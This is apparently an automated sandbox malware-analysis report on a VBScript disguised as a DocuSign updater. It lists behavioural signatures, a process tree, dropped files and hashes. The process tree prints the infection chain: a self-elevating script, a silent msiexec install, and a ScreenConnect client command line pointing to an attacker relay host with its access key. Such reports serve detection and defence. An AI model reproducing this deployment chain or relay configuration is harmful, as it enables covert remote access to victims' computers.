Analysis

  • max time kernel
    298s
  • max time network
    258s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/06/2026, 16:48

General

  • Target
    DocuSign-Updater.vbs
  • Size 1KB
  • Sample260624-vbmbfsdw71
  • SHA256 a37576706c25fa8e777c58b7ea8ff006690f0017c4566ce1e1efda278abbd1c1
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Deletes itself 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DocuSign-Updater.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3864
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DocuSign-Updater.vbs" /elev
      2⤵
      • Badlisted process makes network request
      • Checks computer location settings
      • Deletes itself
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3416
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\i9u2y0.msi" /qn
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4676
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3388
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding CDEA120068F112336B28072094A367EA
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2980
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI69B2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240675390 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2900
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B19F723E9BDBF236C77B099ACCE0541F E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:4424
  • C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.whijjkhpanel.com&p=8041&s=76d4c457-8c7c-4c25-8a80-a649db93b118&k=BgIAAACkAABSU0ExAAgAAAEAAQCJkn0QpmCtDDNJ7%2fo30LHkQg8%2fDkt82aDKG7RxgpDnfCeQaaSbX9PCx2%2bQlIjzIvrs4Ru65Ih0Uq88%2fN8lQD2KY2VQMmLDIDjB3fDDq%2bWJUSPMOw5vpI2xKV4270Tsm4VH9%2fbnDLdhQpT5xtBT7fuyqWjuEmJqBPJUQo0E1BOwcTSXNlPmSORr4jRry0ZoGSAJBIHdl6vwi8v3v0W1%2fNrkAcjk5iZjaBmKT9ynduhKgY8%2fjXw09amGDR2G7LdggCiYnLPRQ2s7oPMUFZsLprsNsZcqVIco6vj5V3JSZdZYJhY3%2fJLN2bBL4UyPj2gvsZ7S3xtBGU5Z%2fC0goNUF9TfE"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4668
    • C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsClient.exe" "RunRole" "2f8d45cc-e62d-4f71-aeda-d44994a97061" "User"
      2⤵
      • Executes dropped EXE
      PID:3004
    • C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsClient.exe" "RunRole" "df536569-a7c4-49f8-81fd-a04ad656d79d" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:3124

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e586909.rbs

        • Path C:\Config.Msi\e586909.rbs
        • Size 214KB
        • SHA256 a812b3d14c54fbf4d049cb5f26f5125bbce30eff90133d571c4239599f1d8195
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\Client.Override.resources
        • Size 20KB
        • SHA256 aac5a7ddeb41b046351191ebef9cb21fbaf0150b033d508d3323a4543c572ba2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\Client.en-US.resources
        • Size 48KB
        • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsClient.exe
        • Size 593KB
        • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\app.config
        • Size 1KB
        • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\system.config
        • Size 948B
        • SHA256 9b6a23ea5b3458ae63afa232acf35c6462c1b871c206a5ba7d9c7f62345934c8
        • MD5 SHA1 SHA512 TLSH

        i9u2y0.msi

        • Path C:\Users\Admin\AppData\Local\Temp\i9u2y0.msi
        • Size 11.2MB
        • SHA256 ad3201184270fbdf8f913a3f6370fac85dc74d91d1b2a3b4d895625914f35e56
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI69B2.tmp

        • Path C:\Windows\Installer\MSI69B2.tmp
        • Size 1.0MB
        • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI69B2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI69B2.tmp-\ScreenConnect.Core.dll
        • Size 538KB
        • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI69B2.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI69B2.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI6F41.tmp

        • Path C:\Windows\Installer\MSI6F41.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2900-30-0x0000000005360000-0x000000000536A000-memory.dmp

        memory/2900-39-0x0000000005E30000-0x00000000063D4000-memory.dmp

        memory/2900-38-0x00000000056D0000-0x000000000587C000-memory.dmp

        memory/2900-26-0x0000000005370000-0x000000000539E000-memory.dmp

        memory/2900-34-0x0000000005430000-0x00000000054BC000-memory.dmp

        memory/3004-113-0x000000001BCF0000-0x000000001BE9C000-memory.dmp

        memory/3004-108-0x0000000000B80000-0x0000000000C18000-memory.dmp

        memory/3004-109-0x0000000002CA0000-0x0000000002CD6000-memory.dmp

        memory/3004-112-0x0000000002DA0000-0x0000000002E2C000-memory.dmp

        memory/3004-123-0x000000001CF50000-0x000000001D0D6000-memory.dmp

        memory/3004-124-0x00000000014C0000-0x00000000014D8000-memory.dmp

        memory/3004-125-0x0000000002D00000-0x0000000002D18000-memory.dmp

        memory/4668-96-0x0000000004A70000-0x0000000004AB1000-memory.dmp

        memory/4668-78-0x0000000004490000-0x00000000044A8000-memory.dmp

        memory/4668-94-0x0000000004B10000-0x0000000004BA2000-memory.dmp

        memory/4668-93-0x0000000004860000-0x0000000004896000-memory.dmp

        memory/4668-89-0x0000000004810000-0x0000000004860000-memory.dmp

        memory/4668-98-0x0000000004CF0000-0x0000000004DC5000-memory.dmp